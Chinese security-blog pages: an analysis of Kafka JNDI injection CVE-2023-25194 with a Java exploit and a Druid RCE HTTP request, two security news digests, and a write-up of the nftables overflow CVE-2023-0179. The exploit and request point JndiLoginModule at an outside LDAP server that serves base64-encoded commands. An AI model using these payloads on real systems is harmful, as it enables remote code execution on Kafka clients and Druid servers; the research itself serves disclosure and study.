Kafka JNDI 注入分析(CVE-2023-25194)
Apache Kafka Clients Jndi Injection 漏洞描述 Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。 影响范围 2.4.0 <= Apache Kafka <= 3.3.2 前置知识 Kafka 是什么 Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。 感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。 Kafka 客户端 SASL JAAS 配置 简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。 Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点 参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。 服务端配置 1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下 KafkaServer {   org.apache.kafka.common.security.plain.PlainLoginModule required   username="eystar"   password="eystar8888"   user_eystar="eystar8888"   user_yxp="yxp-secret"; }; 说明: username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。 user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX” 2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下 if [ "x$KAFKA_OPTS" ]; then    export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf" fi https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config客户端配置 基本同服务端一致,如下步骤 1、配置客户端 JAAS 文件,命名为 kafka_client_jaas.conf KafkaClient {       org.apache.kafka.common.security.plain.PlainLoginModule required       username="eystar"       password="eystar8888"; }; 2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \    username="eystar" \ password="eystar8888"; // 即配置属性:(后续会讲到也能够动态配置,让我想起了 RocketMQ) Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";"; ”); Kafka 客户端动态修改 JAAS 配置 方式一:配置 Properties 属性,可以注意到这一个字段的键名为 sasl.jaas.config,它的格式如下 loginModuleClass controlFlag (optionName=optionValue)*; 其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证,可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule,JDK 自带的 loginModule 位于 com.sun.security.auth.module //安全模式 用户名 密码 props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";"); props.setProperty("security.protocol", "SASL_PLAINTEXT"); props.setProperty("sasl.mechanism", "PLAIN"); 方式二:设置系统属性参数 // 指定kafka_client_jaas.conf文件路径 String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf"; System.setProperty("java.security.auth.login.config", confPath); 实现代码 消费者 public class TestComsumer {   public static void main(String[] args) {        Properties props = new Properties();        props.put("bootstrap.servers", "192.168.1.176:9092");        props.put("group.id", "test_group");        props.put("enable.auto.commit", "true");        props.put("auto.commit.interval.ms", "1000");        props.put("key.deserializer",                "org.apache.kafka.common.serialization.StringDeserializer");        props.put("value.deserializer",                "org.apache.kafka.common.serialization.StringDeserializer");        // sasl.jaas.config的配置        props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");        props.setProperty("security.protocol", "SASL_PLAINTEXT");        props.setProperty("sasl.mechanism", "PLAIN");        KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);        consumer.subscribe(Arrays.asList("topic_name"));        while (true) {           try {                ConsumerRecords<String, String> records = consumer.poll(Duration                       .ofMillis(100));                for (ConsumerRecord<String, String> record : records)                    System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",                            record.offset(), record.partition(), record.key(), record.value());                     } catch (Exception e) {                e.printStackTrace();           }       }       } } 生产者 public class TestProduce {    public static void main(String args[]) {        Properties props = new Properties();        props.put("bootstrap.servers", "192.168.1.176:9092");        props.put("acks", "1");        props.put("retries", 3);        props.put("batch.size", 16384);        props.put("buffer.memory", 33554432);        props.put("linger.ms", 10);        props.put("key.serializer",                "org.apache.kafka.common.serialization.StringSerializer");        props.put("value.serializer",                "org.apache.kafka.common.serialization.StringSerializer");        //sasl        props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");        props.setProperty("security.protocol", "SASL_PLAINTEXT");        props.setProperty("sasl.mechanism", "PLAIN");        Producer<String, String> producer = new KafkaProducer<>(props);               /**        * ProducerRecord 参数解析 第一个:topic_name为生产者 topic名称,        * 第二个:对于生产者kafka2.0需要你指定一个key        * ,在企业应用中,我们一般会把他当做businessId来用,比如订单ID,用户ID等等。 第三个:消息的主要信息        */        try {              producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));       } catch (InterruptedException e) {               e.printStackTrace();       }   } } 漏洞复现 漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处 理顺逻辑很容易构造出 EXP import org.apache.kafka.clients.consumer.KafkaConsumer; import org.apache.kafka.clients.producer.KafkaProducer; import java.util.Properties; public class EXP {   public static void main(String[] args) throws Exception {       Properties properties = new Properties();       properties.put("bootstrap.servers", "127.0.0.1:1234");       properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");       properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");       properties.put("sasl.mechanism", "PLAIN");       properties.put("security.protocol", "SASL_SSL");       properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +               "required " +               "user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +               "useFirstPass=\"true\" " +               "group.provider.url=\"xxx\";");       KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);       kafkaConsumer.close();   } } 漏洞分析 前面有非常多的数据处理与赋值,这里就跳过了,直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder(),跟进。 继续跟进,这里会先判断 SASL 模式是否开启,只有开启了才会往下跟进到 create() 方法 跟进 create() 方法,做完客户端的判断和安全协议的判断之后,调用了 loadClientContext() 方法,跟进,发现其中还是加载了一些配置。 跳出来,跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法,最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。 跟进 login() 方法,此处 new LoginContext(),随后调用 login() 方法,跟进 这里会调用 JndiLoginModule 的 initialize() 方法 初始化完成之后,此处调用 JndiLoginModule 的 login() 方法,最后到 JndiLoginModule 的 attemptAuthentication() 方法,完成 Jndi 注入。 漏洞修复 在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单 org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {    Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());    String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();    if (disallowedLoginModuleList.contains(loginModuleName)) {        throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);   } } Apache Druid RCE via Kafka Clients 影响版本:Apache Druid <= 25.0.0 Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE 有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE 漏洞 UI 处触发点:Druid Web Console - Load data - Apache Kafka 在这里可以加载 Kafka 的 Data,其中可以修改配置项 sasl.jaas.config,由此构造 Payload POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1 Host: 124.222.21.138:8888 Content-Length: 916 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43 Content-Type: application/json Origin: http://124.222.21.138:8888 Referer: http://124.222.21.138:8888/unified-console.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2 Connection: close {"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234", "sasl.mechanism":"SCRAM-SHA-256",               "security.protocol":"SASL_SSL",               "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" },"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dim 在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程 而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置 Apache Druid 26.0.0 更新了 kafka 依赖的版本 https://github.com/apache/druid/blob/26.0.0/pom.xml#L79
网络安全日报 2023年11月10日
1、黑客声称窃取3500万LinkedIn用户数据 https://www.hackread.com/hacker-leaks-scraped-linkedin-user-records 一个用户名称为USDoD的黑客,在黑客论坛中声称窃取了一个拥有3500多万用户个人信息的LinkedIn数据库。该数据库中主要包括LinkedIn个人资料中的公开信息,包括全名和个人资料简介。尽管该数据库包含数百万个电子邮件地址,但泄露的数据中没有密码。研究人员对该数据库中的500多万个账户进行分析,得出的结论是数据库中含有各种来源的信息,如LinkedIn的公开个人资料、伪造的电子邮件地址等。该研究人员强调,其中含有大量伪造的电子邮件地址,但人员、公司、域 2、俄罗斯联邦储蓄银行遭受DDoS攻击 https://www.bleepingcomputer.com/news/security/russian-state-owned-sberbank-hit-by-1-million-rps-ddos-attack/ 俄罗斯联邦储蓄银行在一份新闻稿中表示,两周前,它遭受了分布式拒绝服务(DDoS)攻击。俄罗斯国际文传电讯社报道称,此次攻击达到每秒100万次请求(RPS),该组织表示,这大约是俄罗斯联邦储蓄银行之前遭受过最大DDoS攻击的四倍。俄罗斯联邦储蓄银行负责人表示,此次攻击是由一些新的攻击组织发起的,目前还不知道关于他们的特征。 3、OpenAI证实遭受DDoS攻击,API和ChatGPT服务遭中断 https://www.bleepingcomputer.com/news/security/openai-confirms-ddos-attacks-behind-ongoing-chatgpt-outages/ 在过去24小时内,OpenAI一直在解决因针对其API和ChatGPT服务的DDoS攻击而导致的“周期性停机”问题。OpenAI在发布的一份事件报告中表示,他们正在处理由于DDoS攻击导致的周期性停机。虽然OpenAI尚未声明发起此次攻击的攻击者,但Anonymous Sudan组织声称其是幕后黑手。该组织还证实在这些攻击中使用了SkyNet僵尸网络,该僵尸网络于上周增加了对应用 4、日本航空电子公司证实遭受网络攻击 https://therecord.media/japan-aviation-electronics-says-servers-accessed-during-cyberattack 日本航空电子证实,其系统遭受网络攻击,并迫使该公司关闭网站。该公司在其网页替换为一条静态消息,表明其部分服务器被攻击。BlackCat/AlphV勒索团伙将该公司添加至受害者名单中,但该公司尚未声明是否遭受勒索软件攻击。 5、CISA 警报:高严重性 SLP 漏洞现已被积极利用 https://thehackernews.com/2023/11/cisa-alerts-high-severity-slp.html 美国网络安全机构 CISA 周三对利用服务定位协议 (SLP) 漏洞的威胁行为者发出警告,该漏洞允许高放大倍数的拒绝服务 (DoS) 攻击。 6、AI生成巴以冲突虚假图片,以假乱真被媒体引用 https://www.freebuf.com/news/383328.html 随着巴以冲突的持续,相关新闻事件报道层出不穷,一些虚假内容也开始混入其中,让人真假难辨。最近,由AI生成、反映巴以冲突现场的图片出现在知名图片库 Adobe Stock 中,并被一些新闻媒体采用。 7、IEEE成员提出减轻卫星系统风险的网络安全框架 https://www.secrss.com/articles/60439 国际专业技术机构电气电子工程师学会(IEEE)成员、The Privacy Professor 咨询公司创始人兼首席执行官、信息安全专家丽贝卡·赫罗德近日撰文《用于减轻卫星系统风险的网络安全框架》,分析卫星系统所面临的网络安全威胁及影响,并提出减轻卫星系统风险的网络安全框架。 8、PyPI 中的新 BlazeStealer 恶意软件针对开发人员 https://cyware.com/news/new-blazestealer-malware-in-pypi-targets-developers-666fe1bd Python 包索引 (PyPI) 存储库中发现了一组新的恶意 Python 包。据 Checkmarx 报道,这些软件包伪装成无害的混淆工具,但包含名为BlazeStealer的恶意软件。 9、Lace Tempest 利用 SysAid IT 支持软件零日漏洞 https://thehackernews.com/2023/11/zero-day-alert-lace-tempest-exploits.html 根据微软的最新调查结果,名为 Lace Tempest 的威胁参与者与利用 SysAid IT 支持软件中的零日漏洞进行的有限攻击有关。该问题编号为CVE-2023-47246,涉及路径遍历缺陷,该缺陷可能导致本地安装中的代码执行。SysAid 已在软件版本 23.3.36 中对其进行了修补。 10、SIM 卡盒诈骗导致漫游诈骗激增 700% https://www.infosecurity-magazine.com/news/sim-box-fraud-700-surg-roaming/ 根据 Juniper Research 的一项新研究,随着诈骗者希望利用不断增长的市场,未来五年全球漫游欺诈流量将增长惊人的 700%。其报告《2023-2028 年漫游欺诈市场》评估了全球漫游市场在数据、物联网、短信和语音方面的规模,并估计了运营商因欺诈造成的损失。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月09日
1、BlueNoroff组织使用新型macOS恶意软件ObjCShellz https://www.jamf.com/blog/bluenoroff-strikes-again-with-new-macos-malware/ BlueNorOff是一个以金融机构为目标的黑客组织,攻击加密货币交易所和全球范围内的风险投资公司、银行等金融机构。研究人员发现BlueNorOff组织针对苹果用户使用新的macOS恶意软件ObjCShellz,与BlueNorOff组织以往攻击中部署的其他恶意载荷不同,ObjCShellz还被设计用于在受感染的macOS系统上执行远程shell。 2、研究人员发现Jupyter Infostealer新变种 https://blogs.vmware.com/security/2023/11/jupyter-rising-an-update-on-jupyter-infostealer.html Jupyter Infostealer(又称Yellow Cockatoo、Solarmarker、Polazert)是一种恶意软件,最早在2020年底被发现。研究人员近期发现了新一轮的Jupyter Infostealer攻击活动,并从中发现Jupyter Infostealer新变种。在过去的两周里,研究人员观察到Jupyter Infostealer感染数量逐渐增多,发现了26个感染案例。 3、研究人员发现新型恶意软件GootBot https://securityintelligence.com/x-force/gootbot-gootloaders-new-approach-to-post-exploitation/ 研究人员发现了Gootloader的新变种——GootBot,它实现了隐蔽的横向移动,使Gootloader的攻击活动更加难以被检测。以前,攻击者通常将Gootloader作为初始阶段的恶意软件,然后利用Gootloader加载工具,如CobaltStrike,或使用RDP在内网在横向移动。现在攻击者将利用Gootloader下载GootBot载荷,GootBot是一个轻量级的混淆的PS脚本,能够以加密 4、新加坡滨海湾金沙酒店泄露66.5万客户的个人数据 https://www.bleepingcomputer.com/news/security/marina-bay-sands-discloses-data-breach-impacting-665-000-customers/ 新加坡滨海湾金沙(Marina Bay Sands,简称MBS)酒店披露一起数据泄露事件,此次事件涉及到其66.5万名顾客的个人数据。该酒店在声明中称,滨海湾金沙于2023年10月20日获悉一起数据安全事件,涉及到2023年10月19日和20日未经授权的第三方访问了部分客户的数据。在调查后确定,该攻击者访问了约66.5万名客户的数据。数据泄露中暴露的信息包括:姓名、 5、GitHub 通过 AI 增强安全能力 https://www.securityweek.com/github-enhances-security-capabilities-with-ai/ GitHub 添加了人工智能驱动的安全功能,帮助开发人员更快地识别和解决代码漏洞。微软旗下的代码托管平台 GitHub 今天宣布公开预览 GitHub Advanced Security 中的三项人工智能功能。高级安全性可供 GitHub Enterprise Cloud 和 Enterprise Server 客户使用,它提供了一系列功能来帮助维护和提高代码质量。其中一些功能(例如Dependabot)也可用于公共存储库。 6、Sumo Logic 披露安全漏洞并建议客户轮换凭证 https://securityaffairs.com/153882/security/sumo-logic-security-breach.html 安全公司 Sumo Logic 上周发现其 AWS 账户遭到泄露后,披露了一个安全漏洞。为了应对安全事件,该公司锁定了受影响的基础设施,并轮换了其基础设施的所有可能暴露的凭证。该网络安全公司建议客户轮换用于访问 Sumo Logic 或他们向公司提供的用于访问其他系统的凭据。 7、TRANSFORM 提供商遭受勒索软件攻击,加拿大五家医院受到影响 https://securityaffairs.com/153857/cyber-crime/canadian-hospitals-transform-ransomware-attack.html 加拿大五家医院成为勒索软件攻击的受害者,威胁者声称窃取并泄露了这些医院的数据。这些医院受到 10 月份当地服务提供商 TransForm Shared Service Organization 遭受勒索软件攻击的影响。TransForm 是一个非营利组织,为上述医院提供IT 服务。 8、研究人员在 Azure 自动化上发现了无法检测的恶意挖矿技术 https://thehackernews.com/2023/11/researchers-uncover-undetectable-crypto.html 网络安全研究人员利用 Microsoft Azure 自动化服务开发了第一个完全无法检测的基于云的加密货币挖矿程序。网络安全公司 SafeBreach 表示,它发现了三种不同的运行挖矿程序的方法,其中一种可以在受害者的环境中执行而不引起任何注意。 9、WhatsApp 推出新隐私功能以保护通话中的 IP 地址 https://thehackernews.com/2023/11/whatsapp-introduces-new-privacy-feature.html Meta 旗下的 WhatsApp 正式在其消息服务中推出一项名为“保护通话中的 IP 地址”的https://faq.whatsapp.com/2635108359972899/,该功能通过其服务器中继通话,向其他方隐藏用户的 IP 地址。 10、每条价格仅1美分,美国军人敏感信息正被低价售卖 https://www.freebuf.com/news/383183.html 杜克大学于11月6日发布的的一项新研究报告表明,网络攻击者可以轻松地从数据经纪人手中,以低廉的价格获取有关美国军人的敏感信息。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月08日
1、研究人员发现APT组织SideCopy的新一轮攻击活动 https://www.seqrite.com/blog/sidecopys-multi-platform-onslaught-leveraging-winrar-zero-day-and-linux-variant-of-ares-ratSideCopy组织被认为是一个与巴基斯坦相关的APT组织,自2019年以来一直针对南亚国家,主要是印度国防和阿富汗政府机构进行攻击活动,并被认为是是Transparent Tribe(APT36)的一个分支。研究人员在过去几个月里发现该组织多次针对印度政府和国防机构进行的攻击活动。该组织正在利用最新的WinRAR漏洞CVE-2023-38831传播Alla 2、攻击者利用CVE-2023-46604漏洞部署勒索软件TellYouThePass https://arcticwolf.com/resources/blog/tellmethetruth-exploitation-of-cve-2023-46604-leading-to-ransomware/2023年10月,研究人员发现多起涉及利用CVE-2023-46604漏洞的勒索软件攻击活动,该漏洞是Apache ActiveMQ中的一个远程代码执行漏洞。该漏洞于2023年10月27日被披露,攻击者能够利用该漏洞滥用ActiveMQ实施的OpenWire协议来执行任意代码。研究人员表示,CVE-2023-46604在2023年10月10日之前就已经在野外被利用,早于该漏洞的披露以及 3、研究人员发现名为Trap Stealer的窃密木马 https://cyble.com/blog/new-open-source-trap-stealer-pilfers-data-in-just-6-seconds/研究人员通过VirusTotal发现了一个名为“Trap Stealer”的新型窃密木马,并且已经确定其开发者在GitHub上公开分享了完整的源代码。Trap Stealer基于Python编写,通过一个开源构建器构建,具有各种功能,包括绕过安全措施以及窃取用户数据并回传给攻击者。这个窃取工具旨在秘密提取受感染系统中的各种敏感信息,包括Cookies、网络浏览器的浏览历史、Discord应用程序的令牌、剪贴板内容、加密钱包数据、W 4、Cyber Av3ngers 黑客组织声称攻陷十个以色列水处理厂 https://www.secrss.com/articles/60382伊朗背景的 Cyber Av3ngers 的黑客组织在社交媒体上宣布,他们已经入侵了以色列的十个水处理厂。受影响的城市包括赫德拉、帕尔马希姆、索雷克、阿什凯隆、海法、花拉子姆、卡法哈鲁夫、塔贝里亚、埃拉特和丹尼尔。 5、美国航空公司飞行员工会遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/american-airlines-pilot-union-hit-by-ransomware-attack/拥有美国航空公司 1.5 万名飞行员的大工会——美国飞行员协会(Allied Pilots Association,APA)近期披露其网络系统遭到勒索软件攻击。 6、《浙江省汽车数据处理管理规定》公布 https://www.secrss.com/articles/60379为了规范省内汽车数据处理活动,保护个人、组织的合法权益,维护国家安全和社会公共利益,促进汽车数据合理开发利用,根据《中华人民共和国网络安全法》《中华人民共和国数据安全法》《中华人民共和国个人信息保护法》《汽车数据安全管理若干规定(试行)》等法律法规和国家有关规定,结合浙江省实际情况,制定本规定。 7、德国爆发大规模勒索软件攻击,超 70 个城市市政服务瘫痪 https://www.secrss.com/articles/60347德国地方市政服务提供商 Südwestfalen IT 公司的服务器被未知的黑客团伙加密,为阻止恶意软件传播,该公司限制了 70 多个城市对基础设施的访问权限。 8、Socks5Systemz 代理服务感染全球 10000 个系统 https://www.bleepingcomputer.com/news/security/socks5systemz-proxy-service-infects-10-000-systems-worldwide/一个名为 "Socks5Systemz "的代理僵尸网络通过 "PrivateLoader "和 "Amadey "恶意软件加载器感染了全球计算机,目前受感染的设备已达 10000 台。 9、Android 11 月安全更新修复了 37 个漏洞 https://www.securityweek.com/37-vulnerabilities-patched-in-android-with-november-2023-security-updates/作为 2023 年 11 月 Android 安全更新的一部分,谷歌周一宣布修复 37 个漏洞,并针对 Pixel 设备发布了其他修复程序。 10、海淘网站Zhefengle暴露了数百万订单信息 https://techcrunch.com/2023/11/06/store-millions-chinese-citizen-identity-cards/一名安全研究人员表示,在一家电子商务商店(Zhefengle)将其数据库暴露在互联网上后,他发现数百万中国公民身份号码在网上泄露。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Nftables整型溢出(CVE-2023-0179)
前言 Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。 漏洞成因 漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。 代码细节如下: nft_payload_copy_vlan #define VLAN_HLEN 4 /* The additional bytes required by VLAN * (in addition to the Ethernet header) */ #define VLAN_ETH_HLEN 18 /* Total octets in header. */ /* * d表示目的寄存器 * skb通常是网络协议栈的缓存区 * offset为数据包的偏移量 * len为拷贝的长度 */ static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len) { int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移 u8 *vlanh, *dst_u8 = (u8 *) d; struct vlan_ethhdr veth; u8 vlan_hlen = 0;    /*   IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tag   IEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网    */ if ((skb->protocol == htons(ETH_P_8021AD) ||     skb->protocol == htons(ETH_P_8021Q)) &&    offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN) vlan_hlen += VLAN_HLEN; vlanh = (u8 *) &veth; if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4 u8 ethlen = len; //拷贝的长度 if (vlan_hlen &&    skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0) return false; else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth)) return false; if (offset + len > VLAN_ETH_HLEN + vlan_hlen) ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;       //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);       //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;       //ethlen = VLAN_ETH_HELN - vlan_hlen - offset       //ethlen = 14 - offset       //如果offset > 14 则会造成 ethlen溢出       memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节 len -= ethlen; if (len == 0) return true; dst_u8 += ethlen; offset = ETH_HLEN + vlan_hlen; } else { offset -= VLAN_HLEN + vlan_hlen; } return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0; } 该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时 这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。 那么当offset = 19而len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出) 环境搭建 这里采用的是qemu + linux6.16内核进行环境的搭建。 作者创建虚拟网络设备的脚本如下 https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh#!/bin/sh # create the peer virtual device ip link add eth0 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth0 up ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan id 10 ip addr add 192.168.147.137/24 dev vlan.10 ip link set vlan.5 up ip link set vlan.10 up ip link set lo up # create a bridge to enable hooks ip link add name br0 type bridge ip link set dev br0 up ip link set eth0 master br0 ip addr add 192.168.157.137/24 dev br0 可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示: void nft_payload_eval(const struct nft_expr *expr,      struct nft_regs *regs,      const struct nft_pktinfo *pkt) { const struct nft_payload *priv = nft_expr_priv(expr); const struct sk_buff *skb = pkt->skb; u32 *dest = &regs->data[priv->dreg]; int offset; if (priv->len % NFT_REG32_SIZE) dest[priv->len / NFT_REG32_SIZE] = 0; switch (priv->base) { case NFT_PAYLOAD_LL_HEADER: //数据链路层 if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头 goto err; if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志 if (!nft_payload_copy_vlan(dest, skb,   priv->offset, priv->len)) goto err; return; } offset = skb_mac_header(skb) - skb->data; break; ... 因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook的时候只需要hook一个点就行,设置vlan接口是因为只有vlan的数据包才能够进入nft_payload_copy_vlan函数的流程内,而在vlan.5上再次创建一个vlan接口是因为使得数据包能够加入双层vlan tag,这样可以通过IEEE 8021AD协议传输。 但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定vlan的类型为IEEE 8021AD,因此修改了一下脚本。 #!/bin/sh # create the peer virtual device ip link add eth32 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth32 up #ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan protocol  802.1ad id 10 #ip addr add 192.168.147.137/24 dev vlan.5 ip link set vlan.5 up ip link set lo up ip link set vlan.10 up 指定协议之后,数据包的协议也被为IEEE 8021AD了 